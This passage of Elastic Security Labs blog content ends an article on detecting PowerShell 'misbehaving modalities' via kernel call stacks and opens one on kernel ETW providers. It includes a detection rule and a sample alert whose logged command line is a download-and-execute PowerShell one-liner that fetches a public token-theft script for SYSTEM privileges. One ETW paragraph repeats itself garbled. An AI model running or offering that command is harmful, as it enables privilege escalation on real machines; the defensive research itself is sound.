<p><a href="https://medium.com/@jaredcatkinson">Jared Atkinson</a>, Chief Strategist at SpecterOps and prolific writer on security strategy, recently introduced the very useful concept of <a href="https://posts.specterops.io/behavior-vs-execution-modality-3318e8e81739">Execution Modality</a> to help us reason about malware techniques, and how to robustly detect them. In short, Execution Modality describes <em>how</em> a malicious behaviour is executed, rather than simply defining <em>what</em> the behaviour does.</p>
<p>For example, the behaviour of interest might be <a href="https://attack.mitre.org/techniques/T1543/003/">Windows service creation</a>, and the modality might be either a system utility (such as `sc.exe`), a PowerShell script, or shellcode that uses indirect syscalls to directly write to the service configuration in the Windows Registry.</p>
<p>Atkinson outlined that if your goal is to detect a specific technique, you want to ensure that your collection is as close as possible to the operating system’s source of truth and eliminate any modality assumptions.</p>
<h2><strong>Case Study: service creation modalities</strong></h2>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/misbehaving-modalities/flow.png" alt="Service creation operation flow graph" /></p>
<p>In the typical Service creation scenario within the Windows OS, an installer calls <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/sc-create"><code>sc.exe create</code></a> which makes an <a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-scmr/6a8ca926-9477-4dd4-b766-692fab07227e"><code>RCreateService</code></a> RPC call to an endpoint in the <a href="https://learn.microsoft.com/en-us/windows/win32/services/service-control-manager">Service Control Manager</a> (SCM, aka <code>services.exe</code>) which then makes syscalls to the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/windows-kernel-mode-configuration-manager">kernel-mode configuration manager</a> to update the <a href="https://learn.microsoft.com/en-us/windows/win32/services/database-of-installed-services">database of installed services</a> in the registry.  This is later flushed to disk and restored from disk on boot.</p>
<p>This means that the source of truth for a running system <a href="https://abstractionmaps.com/maps/t1050/">is the registry</a> (though hives are flushed to disk and can be tampered with offline).</p>
<p>In a threat hunting scenario, we could easily detect anomalous <code>sc.exe</code> command lines - but a different tool might make Service Control RPC calls directly.</p>
<p>If we were processing our threat data stringently, we could also detect anomalous Service Control RPC calls, but a different tool might make syscalls (in)directly or use another service, such as the <a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rrp/ec095de8-b4fe-48fb-8114-dea65b4d710e">Remote Registry</a>, to update the service database indirectly.</p>
<p>In other words, some of these execution modalities bypass traditional telemetry such as <a href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4697">Windows event logs</a>.</p>
<p>So how do we monitor changes to the configuration manager?  We can’t robustly monitor syscalls directly due to <a href="https://en.wikipedia.org/wiki/Kernel_Patch_Protection">Kernel Patch Protection</a>, but Microsoft has provided <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/filtering-registry-calls">configuration manager callbacks</a> as an alternative. This is where Elastic has <a href="https://github.com/tsale/EDR-Telemetry/pull/58#issuecomment-2043958734">focused our service creation detection</a> efforts - as close to the operating system’s source of truth as possible.</p>
<p>The trade-off for this low-level visibility, however, is a potential reduction in context. For example, due to Windows architectural decisions, security vendors do not know which RPC client is requesting the creation of a registry key in the services database. Microsoft only supports querying RPC client details from a user-mode RPC service.</p>
<p>Starting with Windows 10 21H1, Microsoft began including <a href="https://github.com/jdu2600/Windows10EtwEvents/commit/5444e040d65ed2807fcf9ac69ce32131338dc370#diff-b88b65ff9fd39a51c51c594ee3787ea6907e780d4282ae9a7517c04074e2c2b7">RPC client details in the service creation event log</a>. This event, while less robust, sometimes provides additional context that might assist in determining the source of an anomalous behaviour.</p>
<p>Due to their history of abuse, some modalities have been extended with extra logging - one important example is PowerShell.  This allows certain techniques to be detected with high precision - but <em>only</em> when executed within PowerShell. It is important not to conflate having detection coverage of a technique in PowerShell with coverage of that technique in general. This nuance is important when estimating <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> coverage.  As red teams routinely demonstrate, having 100% technique coverage - but only for PowerShell - is close to 0% real-world coverage.</p>
<p><a href="https://ctid.mitre.org/projects/summiting-the-pyramid/">Summiting the Pyramid</a> (STP) is a related analytic scoring methodology from MITRE. It makes a similar conclusion about the fragility of <a href="https://center-for-threat-informed-defense.github.io/summiting-the-pyramid/analytics/service_registry_permissions_weakness_check/">PowerShell scriptblock-based detections</a> and assigns such rules a low robustness score.</p>
<p>High-level telemetry sources, such as Process Creation logging and PowerShell logging, are extremely brittle at detecting most techniques as they cover very few modalities. At best, they assist in detecting the most egregious Living off the Land (LotL) abuses.</p>
<p>Atkinson made the following astute observation in the <a href="https://posts.specterops.io/behavior-vs-execution-modality-3318e8e81739">example</a> used to motivate the discussion:</p>
<p><em>An important point is that our higher-order objective in detection is behavior-based, not modality-based. Therefore, we should be interested in detecting Session Enumeration (behavior-focused), not Session Enumeration in PowerShell (modality-focused).</em></p>
<p>Sometimes that is only half of the story though.  Sometimes detecting that the tool itself is out of context is more efficient than detecting the technique. Sometimes the execution modality itself is anomalous.</p>
<p>An alternative to detecting a known technique is to detect a misbehaving modality.</p>
<h2><strong>Call stacks divulge Modality</strong></h2>
<p>One of Elastic’s strengths is the inclusion of call stacks in the majority of our events. This level of call provenance detail greatly assists in determining whether a given activity is malicious or benign.  Call stack summaries are often sufficient to divulge the execution modality - the runtimes for PowerShell, .NET, RPC, WMI, VBA, Lua, Python, and Java all leave traces in the call stack.</p>
<p>Some of our <a href="https://www.elastic.co/pt/security-labs/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks">first call stack-based rules</a> were for Office VBA macros (<code>vbe7.dll</code>) spawning child processes or dropping files, and for unbacked executable memory loading the .NET runtime.  In both of these examples, the technique itself was largely benign; it was the modality of the behaviour that was predominantly anomalous.</p>
<p>So can we flip the typical behaviour-focused detection approach to a modality-focused one?  For example, can we detect solely on the use of <strong>any</strong> dual-purpose API call originating from PowerShell?</p>
<p>Using call stacks, Elastic is able to differentiate between the API calls that originate from PowerShell scripts and those that come from the PowerShell or .NET runtimes.</p>
<p>Using Threat-Intelligence ETW as an approximation for a dual-purpose API, our rule for “Suspicious API Call from a PowerShell Script” was quite effective.</p>
<pre><code class="language-sql">api where
event.provider == &quot;Microsoft-Windows-Threat-Intelligence&quot; and
process.name in~ (&quot;powershell.exe&quot;, &quot;pwsh.exe&quot;, &quot;powershell_ise.exe&quot;) and

/* PowerShell Script JIT - and incidental .NET assemblies */
process.thread.Ext.call_stack_final_user_module.name == &quot;Unbacked&quot; and
process.thread.Ext.call_stack_final_user_module.protection_provenance in (&quot;clr.dll&quot;, &quot;mscorwks.dll&quot;, &quot;coreclr.dll&quot;) and

/* filesystem enumeration activity */
not process.Ext.api.summary like &quot;IoCreateDevice( \\FileSystem\\*, (null) )&quot; and

/* exclude nop operations */
not (process.Ext.api.name == &quot;VirtualProtect&quot; and process.Ext.api.parameters.protection == &quot;RWX&quot; and process.Ext.api.parameters.protection_old == &quot;RWX&quot;) and

/* Citrix GPO Scripts */
not (process.parent.executable : &quot;C:\\Windows\\System32\\gpscript.exe&quot; and
  process.Ext.api.summary in (&quot;VirtualProtect( Unbacked, 0x10, RWX, RW- )&quot;, &quot;WriteProcessMemory( Self, Unbacked, 0x10 )&quot;, &quot;WriteProcessMemory( Self, Data, 0x10 )&quot;)) and

/* cybersecurity tools */
not (process.Ext.api.name == &quot;VirtualAlloc&quot; and process.parent.executable : (&quot;C:\\Program Files (x86)\\CyberCNSAgent\\cybercnsagent.exe&quot;, &quot;C:\\Program Files\\Velociraptor\\Velociraptor.exe&quot;)) and

/* module listing */
not (process.Ext.api.name in (&quot;EnumProcessModules&quot;, &quot;GetModuleInformation&quot;, &quot;K32GetModuleBaseNameW&quot;, &quot;K32GetModuleFileNameExW&quot;) and
  process.parent.executable : (&quot;*\\Lenovo\\*\\BGHelper.exe&quot;, &quot;*\\Octopus\\*\\Calamari.exe&quot;)) and

/* WPM triggers multiple times at process creation */
not (process.Ext.api.name == &quot;WriteProcessMemory&quot; and
     process.Ext.api.metadata.target_address_name in (&quot;PEB&quot;, &quot;PEB32&quot;, &quot;ProcessStartupInfo&quot;, &quot;Data&quot;) and
     _arraysearch(process.thread.Ext.call_stack, $entry, $entry.symbol_info like (&quot;?:\\windows\\*\\kernelbase.dll!CreateProcess*&quot;, &quot;Unknown&quot;)))
</code></pre>
<p>Even though we don’t need to use the brittle PowerShell AMSI logging for detection, we can still provide this detail in the event as context as it assists with triage.  This modality-based approach even detects common PowerShell defence evasion tradecraft such as:</p>
<ul>
<li>ntdll unhooking</li>
<li>AMSI patching</li>
<li>user-mode ETW patching</li>
</ul>
<pre><code class="language-json">{
 &quot;event&quot;: {
  &quot;provider&quot;: &quot;Microsoft-Windows-Threat-Intelligence&quot;,
  &quot;created&quot;: &quot;2025-01-29T18:27:09.4386902Z&quot;,
  &quot;kind&quot;: &quot;event&quot;,
  &quot;category&quot;: &quot;api&quot;,
  &quot;type&quot;: &quot;change&quot;,
  &quot;outcome&quot;: &quot;unknown&quot;
 },
 &quot;message&quot;: &quot;Endpoint API event - VirtualProtect&quot;,
 &quot;process&quot;: {
  &quot;parent&quot;: {
   &quot;executable&quot;: &quot;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe&quot;
  },
  &quot;name&quot;: &quot;powershell.exe&quot;,
  &quot;executable&quot;: &quot;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe&quot;,
  &quot;code_signature&quot;: {
   &quot;trusted&quot;: true,
   &quot;subject_name&quot;: &quot;Microsoft Windows&quot;,
   &quot;exists&quot;: true,
   &quot;status&quot;: &quot;trusted&quot;
  },
  &quot;command_line&quot;: &quot;\&quot;powershell.exe\&quot; &amp; {iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1');Get-WinLogonTokenSystem}&quot;,
  &quot;pid&quot;: 21908,
  &quot;Ext&quot;: {
   &quot;api&quot;: {
    &quot;summary&quot;: &quot;VirtualProtect( kernel32.dll!FatalExit, 0x21, RWX, R-X )&quot;,
    &quot;metadata&quot;: {
     &quot;target_address_path&quot;: &quot;c:\\windows\\system32\\kernel32.dll&quot;,
     &quot;amsi_logs&quot;: [
      {
       &quot;entries&quot;: [
        &quot;&amp; {iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1');Get-WinLogonTokenSystem}&quot;,
        &quot;{iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1');Get-WinLogonTokenSystem}&quot;,
        &quot;function Get-WinLogonTokenSystem\n{\nfunction _10001011000101101\n{\n  [CmdletBinding()]\n  Param(\n [Parameter(Position = 0, Mandatory = $true)]\n [ValidateNotNullOrEmpty()]\n [Byte[]]\n ${_00110111011010011},\n ...&lt;truncated&gt;&quot;,
        &quot;{[Char] $_}&quot;,
        &quot;{\n [CmdletBinding()]\n Param(\n   [Parameter(Position = 0, Mandatory = $true)]\n   [Byte[]]\n   ${_00110111011010011},\n   [Parameter(Position = 1, Mandatory = $true)]\n   [String]\n   ${_10100110010101100},\n ...&lt;truncated&gt;&quot;,
        &quot;{ $_.GlobalAssemblyCache -And $_.Location.Split('\\\\')[-1].Equals($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBkAGwAbAA=')))) }&quot;
       ],
       &quot;type&quot;: &quot;PowerShell&quot;
      }
     ],
     &quot;target_address_name&quot;: &quot;kernel32.dll!FatalExit&quot;,
     &quot;amsi_filenames&quot;: [
      &quot;C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1&quot;,
      &quot;C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1&quot;
     ]
    },
    &quot;behaviors&quot;: [
     &quot;sensitive_api&quot;,
     &quot;hollow_image&quot;,
     &quot;unbacked_rwx&quot;
    ],
    &quot;name&quot;: &quot;VirtualProtect&quot;,
    &quot;parameters&quot;: {
     &quot;address&quot;: 140727652261072,
     &quot;size&quot;: 33,
     &quot;protection_old&quot;: &quot;R-X&quot;,
     &quot;protection&quot;: &quot;RWX&quot;
    }
   },
   &quot;code_signature&quot;: [
    {
     &quot;trusted&quot;: true,
     &quot;subject_name&quot;: &quot;Microsoft Windows&quot;,
     &quot;exists&quot;: true,
     &quot;status&quot;: &quot;trusted&quot;
    }
   ],
   &quot;token&quot;: {
    &quot;integrity_level_name&quot;: &quot;high&quot;
   }
  },
  &quot;thread&quot;: {
   &quot;Ext&quot;: {
    &quot;call_stack_summary&quot;: &quot;ntdll.dll|kernelbase.dll|Unbacked&quot;,
    &quot;call_stack_contains_unbacked&quot;: true,
    &quot;call_stack&quot;: [
     {
      &quot;symbol_info&quot;: &quot;c:\\windows\\system32\\ntdll.dll!NtProtectVirtualMemory+0x14&quot;
     },
     {
      &quot;symbol_info&quot;: &quot;c:\\windows\\system32\\kernelbase.dll!VirtualProtect+0x3b&quot;
     },
     {
      &quot;symbol_info&quot;: &quot;Unbacked+0x3b5c&quot;,
      &quot;protection_provenance&quot;: &quot;clr.dll&quot;,
      &quot;callsite_trailing_bytes&quot;: &quot;41c644240c01833dab99f35f007406ff15b7b6f25f8bf0e85883755f85f60f95c00fb6c00fb6c041c644240c01488b55884989542410488d65c85b5e5f415c41&quot;,
      &quot;protection&quot;: &quot;RWX&quot;,
      &quot;callsite_leading_bytes&quot;: &quot;df765f4d63f64c897dc0488d55b8488bcee8ee6da95f4d8bcf488bcf488bd34d8bc64533db4c8b55b84c8955904c8d150c0000004c8955a841c644240c00ffd0&quot;
     }
    ],
    &quot;call_stack_final_user_module&quot;: {
     &quot;code_signature&quot;: [
      {
       &quot;trusted&quot;: true,
       &quot;subject_name&quot;: &quot;Microsoft Corporation&quot;,
       &quot;exists&quot;: true,
       &quot;status&quot;: &quot;trusted&quot;
      }
     ],
     &quot;protection_provenance_path&quot;: &quot;c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll&quot;,
     &quot;name&quot;: &quot;Unbacked&quot;,
     &quot;protection_provenance&quot;: &quot;clr.dll&quot;,
     &quot;protection&quot;: &quot;RWX&quot;,
     &quot;hash&quot;: {
      &quot;sha256&quot;: &quot;707564fc98c58247d088183731c2e5a0f51923c6d9a94646b0f2158eb5704df4&quot;
     }
    }
   },
   &quot;id&quot;: 17260
  }
 },
 &quot;user&quot;: {
  &quot;id&quot;: &quot;S-1-5-21-47396387-2833971351-1621354421-500&quot;
 }
}
</code></pre>
<h2><strong>Robustness assessment</strong></h2>
<p>Using the <a href="https://ctid.mitre.org/projects/summiting-the-pyramid/">Summiting the Pyramid</a> analytic scoring methodology we can compare our PowerShell modality-based detection rule with traditional PowerShell</p>
<table>
<thead>
<tr>
<th align="left"></th>
<th align="left">Application (A)</th>
<th align="left">User mode (U)</th>
<th align="left">Kernel mode (K)</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><strong>Core to (Sub) Technique (5)</strong></td>
<td align="left"></td>
<td align="left"></td>
<td align="left"><strong>[ best ]</strong> Kernel ETW-based PowerShell modality detections</td>
</tr>
<tr>
<td align="left"><strong>Core to Part of (Sub-) Technique (4)</strong></td>
<td align="left"></td>
<td align="left"></td>
<td align="left"></td>
</tr>
<tr>
<td align="left"><strong>Core to Pre-Existing Tool (3)</strong></td>
<td align="left"></td>
<td align="left"></td>
<td align="left"></td>
</tr>
<tr>
<td align="left"><strong>Core to Adversary-brought Tool (2)</strong></td>
<td align="left">AMSI and ScriptBlock-based PowerShell content detections</td>
<td align="left"></td>
<td align="left"></td>
</tr>
<tr>
<td align="left"><strong>Ephemeral (1)</strong></td>
<td align="left"><strong>[ worst ]</strong></td>
<td align="left"></td>
<td align="left"></td>
</tr>
</tbody>
</table>
<p>PowerShell Analytic Scoring using <a href="https://ctid.mitre.org/projects/summiting-the-pyramid/">Summiting the Pyramid</a></p>
<p>As noted earlier, most PowerShell detections receive a low 2A robustness score using the STP scale.  This is in stark contrast to our <a href="https://github.com/elastic/protections-artifacts/blob/065efe897b511e9df5116f9f96b6cbabb68bf1e4/behavior/rules/windows/execution_suspicious_api_call_from_a_powershell_script.toml">PowerShell misbehaving modality rule</a> which receives the highest possible 5K score (where appropriate kernel telemetry is available from Microsoft).</p>
<p>One caveat is that an STP analytic score does not yet include any measure for the setup and maintenance costs of a rule. This could potentially be approximated by the size of the known false positive software list for a given rule - though most open rule sets typically do not include this information. We do and, in our rule’s case, the false positives observed to date have been extremely manageable.</p>
<h2><strong>Can call stacks be spoofed though?</strong></h2>
<p>Yes - and slightly no. Our call stacks are all collected inline in the kernel, but the user-mode call stack itself resides in user-mode memory that the malware may control. This means that, if malware has achieved arbitrary execution, then it can control the stack frames that we see.</p>
<p>Sure, dual-purpose API <a href="https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+%22Unbacked+memory%22&amp;type=code">calls from private memory</a> are suspicious, but sometimes trying to hide your private memory is even more suspicious. This can take the form of:</p>
<ul>
<li>Calls from <a href="https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+allocation_private_bytes&amp;type=code">overwritten modules</a>.</li>
<li>Return addresses <a href="https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+image_rop&amp;type=code">without a preceding call</a> instruction.</li>
<li>Calls <a href="https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+proxy_call&amp;type=code">proxied via other modules</a>.</li>
</ul>
<p>Call stack control alone may not be enough. In order to truly bypass some of our call stack detections, an attacker must craft a call stack that entirely blends with normal activity.  In some environments this can be baselined by security teams with high accuracy; making it hard for the attackers to remain undetected. Based on our in-house research, and with the assistance of red team tool developers, we are also continually improving our out-of-the-box detections.</p>
<p>Finally, on modern CPUs there are also numerous execution trace mechanisms that can be used to detect stack spoofing - such as <a href="https://www.blackhat.com/docs/us-16/materials/us-16-Pierce-Capturing-0days-With-PERFectly-Placed-Hardware-Traps-wp.pdf">Intel LBR</a>, Intel BTS, Intel AET, <a href="https://www.microsoft.com/en-us/research/wp-content/uploads/2017/01/griffin-asplos17.pdf">Intel IPT</a>, <a href="https://www.elastic.co/pt/security-labs/finding-truth-in-the-shadows">x64 CET</a> and <a href="https://lwn.net/Articles/824613/">x64 Architectural LBR</a>. Elastic already takes advantage of some of these hardware features, we have suggested to Microsoft that they may also wish to do so in further scenarios outside of exploit protection, and we are investigating further enhancements ourselves. Stay tuned.</p>
<h2><strong>Conclusion</strong></h2>
<p>Execution Modality is a new lens through which we can seek to understand attacker tradecraft.</p>
<p>Detecting specific techniques for individual modalities is not a cost-effective approach though - there are simply too many techniques and too many modalities. Instead, we should focus our technique detections as close to the operating system source of truth as possible; being careful not to lose necessary activity context, or to introduce unmanageable false positives. This is why Elastic considers <a href="https://www.elastic.co/pt/security-labs/kernel-etw-best-etw">Kernel ETW</a> to be superior to user-mode <code>ntdll</code> hooking - it is closer to the source of truth allowing more robust detections.</p>
<p>For modality-based detection approaches, the value becomes apparent when we baseline <strong>all</strong> expected low-level telemetry for a given modality - and trigger on <strong>any</strong> deviations.</p>
<p>Historically, attackers have been able to choose modality for convenience. It is more cost effective to write tools in C# or PowerShell than in C or assembly.  If we can herd modality then we’ve imposed cost.</p>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/misbehaving-modalities/modalities.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Kernel ETW is the best ETW]]></title>
            <link>https://www.elastic.co/pt/security-labs/kernel-etw-best-etw</link>
            <guid>kernel-etw-best-etw</guid>
            <pubDate>Fri, 13 Sep 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[This research focuses on the importance of native audit logs in secure-by-design software, emphasizing the need for kernel-level ETW logging over user-mode hooks to enhance anti-tamper protections.]]></description>
            <content:encoded><![CDATA[<h2>Preamble</h2>
<p>A critical feature of secure-by-design software is the generation of audit logs when privileged operations are performed. These native audit logs can include details of the internal software state, which are impractical for third-party security vendors to bolt on after the fact.</p>
<p>Most Windows components generate logs using <a href="https://learn.microsoft.com/en-us/windows/win32/etw/about-event-tracing">Event Tracing for Windows</a> (ETW). These events expose some of Windows's inner workings, and there are scenarios when endpoint security products benefit from subscribing to them. For security purposes, though, not all ETW providers are created equal.</p>
<p>The first consideration is typically the reliability of the event provider itself - in particular, where the logging happens. Is it within the client process and <a href="https://twitter.com/dez_/status/938074904666271744">trivially vulnerable to ETW tampering</a>? Or is it perhaps slightly safer over in an RPC server process? Ideally, though, the telemetry will come from the <a href="https://www.elastic.co/pt/security-labs/doubling-down-etw-callstacks">kernel</a>. Given the user-to-kernel security boundary, this provides stronger anti-tamper guarantees over in-process telemetry. This is Microsoft’s recommended approach. Like Elastic Endpoint, Microsoft Defender for Endpoint also uses kernel ETW in preference to fragile user-mode <code>ntdll</code> hooks.</p>
<p>For example, an adversary might be able to easily avoid an in-process user-mode hook on <code>ntdll!NtProtectVirtualMemory</code>, but bypassing a kernel <a href="https://github.com/search?type=code&amp;q=repo:jdu2600/Windows10EtwEvents+PROTECTVM">PROTECTVM</a> ETW event is significantly harder. Or, at least, <a href="https://www.elastic.co/pt/security-labs/forget-vulnerable-drivers-admin-is-all-you-need">it should be</a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/kernel-etw-best-etw/image3.png" alt="Sample ETW providers and where they are logged" title="Sample ETW providers and where they are logged" /></p>
<p>The Security Event Log is effectively just persistent storage for the events from the Microsoft-Windows-Security-Auditing ETW provider. Surprisingly, <a href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4688">Security Event 4688</a> for process creation is not a kernel event. The kernel dispatches the data to the Local Security Authority (<code>lsass.exe</code>) service, emitting an ETW event for the Event Log to consume. So, the data could be tampered with from within that server process. Contrast this with the <code>ProcessStart</code> event from the Microsoft-Windows-Kernel-Process provider, which is logged directly by the kernel and requires kernel-level privileges to interfere with.</p>
<p>The second consideration is then the reliability of the information being logged. You might trust the event source, but what if it is just <a href="https://www.elastic.co/pt/security-labs/effective-parenting-detecting-lrpc-based-parent-pid-spoofing">blindly logging</a> <a href="https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs">client-supplied data</a> that is extrinsic to the event being logged?</p>
<p>In this article, we’ll focus on kernel ETW events. These are typically the most security-relevant because they are difficult to bypass and often pertain to privileged actions being performed on behalf of a client thread.</p>
<p>When Microsoft introduced Kernel Patch Protection, security vendors were significantly constrained in their ability to monitor the kernel. Given the limited number of kernel extension points provided by Microsoft, they were increasingly compelled to rely on asynchronous ETW events for after-the-fact visibility of kernel actions performed on behalf of malware.</p>
<p>Given this dependency, the public documentation of Windows kernel telemetry sources is unfortunately somewhat sparse.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/kernel-etw-best-etw/image11.png" alt="The events in Microsoft-Windows-Kernel-Audit-API-Calls are somewhat opaque" title="The events in Microsoft-Windows-Kernel-Audit-API-Calls are somewhat opaque" /></p>
<h2>Kernel ETW Events</h2>
<p>There are currently <a href="https://learn.microsoft.com/en-us/windows/win32/etw/about-event-tracing#types-of-providers">four types of ETW providers</a> that we need to consider.</p>
<p>Firstly, there are legacy and modern variants of “event provider”:</p>
<ul>
<li>legacy (<a href="https://learn.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format--mof-">mof</a>-based) event providers</li>
<li>modern (<a href="https://learn.microsoft.com/en-us/windows/win32/wes/writing-an-instrumentation-manifest">manifest</a>-based) event providers</li>
</ul>
<p>And then there are legacy and modern variants of “trace provider”:</p>
<ul>
<li>legacy Windows software trace preprocessor (<a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/wpp-software-tracing">WPP</a>) trace providers</li>
<li>modern <a href="https://learn.microsoft.com/en-us/windows/win32/tracelogging/trace-logging-about">TraceLogging</a> trace providers</li>
</ul>
<p>The “event” versus “trace” distinction is mostly semantic. Event providers are typically registered with the operating system ahead of time, and you can inspect the available telemetry metadata. These are typically used by system administrators for troubleshooting purposes and are often semi-documented. But when something goes really, <em>really</em> wrong there are (hidden) trace providers. These are typically used only by the original software authors for advanced troubleshooting and are undocumented.</p>
<p>In practice, each uses a slightly different format file to describe and register its events and this introduces minor differences in how the events are logged - and, more importantly, how the potential events can be enumerated.</p>
<h3>Modern Kernel Event Providers</h3>
<p>The modern kernel ETW providers aren’t strictly documented. However, registered event details can be queried from the operating system via the <a href="https://learn.microsoft.com/en-us/windows/win32/api/tdh/">Trace Data Helper API</a>. Microsoft’s <a href="https://github.com/microsoft/perfview">PerfView</a> tool uses these APIs to reconstruct the provider’s <a href="https://github.com/microsoft/perfview/blob/319be737115e01f77c42804cd1d41755211347f3/src/TraceEvent/RegisteredTraceEventParser.cs#L88">registration manifest</a>, and Pavel Yosifovich’s <a href="https://github.com/zodiacon/EtwExplorer">EtwExplorer</a> then wraps these manifests in a simple GUI. You can use these <a href="https://github.com/jdu2600/Windows10EtwEvents/tree/master/manifest">tab-separated value files</a> of registered manifests from successive Windows versions. A single line per event is very useful for grepping, though others have since published the <a href="https://github.com/nasbench/EVTX-ETW-Resources/tree/main/ETWProvidersManifests">raw XML manifests</a>.</p>
<p>These aren’t all of the possible Windows ETW events, however. They are only the ones registered with the operating system by default. For example, the ETW events for many <a href="https://github.com/nasbench/EVTX-ETW-Resources/issues/52">server roles aren’t registered</a> until that feature is enabled.</p>
<h3>Legacy Kernel Event Providers</h3>
<p>The <a href="https://docs.microsoft.com/en-us/windows/win32/etw/msnt-systemtrace">legacy kernel events</a> are documented by Microsoft. Mostly.</p>
<p>Legacy providers also exist within the operating system as WMI <a href="https://learn.microsoft.com/en-us/windows/win32/etw/eventtrace">EventTrace</a> classes. Providers are the root classes, groups are the children, and events are the grandchildren.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/kernel-etw-best-etw/image8.png" alt="Enumerating MOF providers with wbemtest" title="Enumerating MOF providers with wbemtest" /></p>
<p>To search the legacy events in the same way as modern eventTo search legacy events in the same way as modern events, these classes were parsed, and the original MOF (mostly) reconstructed. This <a href="https://github.com/zodiacon/EtwExplorer/pull/3">MOF support was added to EtwExplorer,</a> and <a href="https://github.com/jdu2600/Windows10EtwEvents/tree/master/mof">tab-separated value summaries</a> of the legacy events were these classes were parsed and the original MOF (mostly) reconstructed. This <a href="https://github.com/zodiacon/EtwExplorer/pull/3">MOF support was added to EtwExplorer</a> and <a href="https://github.com/jdu2600/Windows10EtwEvents/tree/master/mof">tab-separated value summaries</a> of the legacy events published.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/kernel-etw-best-etw/image6.png" alt="Enumerating MOF providers with ETW Explorer" title="Enumerating MOF providers with ETW Explorer" /></p>
<p>The fully reconstructed Windows Kernel Trace MOF is <a href="https://gist.github.com/jdu2600/a2b03e4e9cf19282a41ad766388c9856">here</a> (or in a tabular format <a href="https://github.com/jdu2600/Windows10EtwEvents/blob/master/mof/Windows_Kernel_Trace.tsv">here</a>).</p>
<p>Of the 340 registered legacy events, only 116 were documented. Typically, each legacy event needs to be enabled via a specific flag, but these weren’t documented either. There was a clue in the documentation for the kernel <a href="https://learn.microsoft.com/en-us/windows/win32/etw/obtrace">Object Manager Trace</a> events. It mentioned <code>PERF_OB_HANDLE</code>, a constant that is not defined in the headers in the latest SDK. Luckily, <a href="https://geoffchappell.com/studies/windows/km/ntoskrnl/api/etw/tracesup/perfinfo_groupmask.htm">Geoff Chappell</a> and the Windows 10 1511 WDK came to the rescue. This information was used to add support for <code>PERFINFO_GROUPMASK</code> kernel trace flags to Microsoft’s <a href="https://github.com/microsoft/krabsetw/blob/master/examples/NativeExamples/kernel_trace_002.cpp">KrabsETW</a> library. It also turned out that the Object Trace documentation was wrong. That non-public constant can only be used with an undocumented API extension. Fortunately, public Microsoft projects such as <code>PerfView</code> often provide <a href="https://github.com/microsoft/perfview/blob/51ec1dffe9055ab58ba1b13d1b716b36760ed895/src/TraceEvent/ETWKernelControl.cs#L464-L469">examples of how to use undocumented APIs</a>.</p>
<p>With both manifests and MOFs published on GitHub, most kernel events can now be found with <a href="https://github.com/search?type=code&amp;q=repo:jdu2600/Windows10EtwEvents+kernel">this query</a>.</p>
<p>Interestingly, Microsoft often <a href="https://en.wikipedia.org/wiki/Security_through_obscurity">obfuscates</a> the names of security-relevant events, so searching for events with a generic name prefix such as <code>task_</code> yields some <a href="https://github.com/search?type=code&amp;q=repo:jdu2600/Windows10EtwEvents+kernel+task_">interesting results</a>.</p>
<p>Sometimes the keyword hints to the event’s purpose. For example, <code>task_014</code> in <code>Microsoft-Windows-Kernel-General</code> is enabled with the keyword <code>KERNEL_GENERAL_SECURITY_ACCESSCHECK.</code></p>
<p>And thankfully, the parameters are almost always well-named. We might guess that <code>task_05</code> in <code>Microsoft-Windows-Kernel-Audit-API-Calls</code> is related to <a href="https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess">OpenProcess</a> since it logs fields named <code>TargetProcessId</code> and <code>DesiredAccess</code>.</p>
<p><a href="https://github.com/search?type=code&amp;q=repo:jdu2600/Windows10EtwEvents+kernel+processstartkey">Another useful query</a> is to search for events with an explicit <code>ProcessStartKey</code> field. ETW events can be <a href="https://learn.microsoft.com/en-us/windows/win32/api/evntrace/ns-evntrace-enable_trace_parameters">configured</a> to include this field for the logging process, and any event that includes this information for another process is often security relevant.</p>
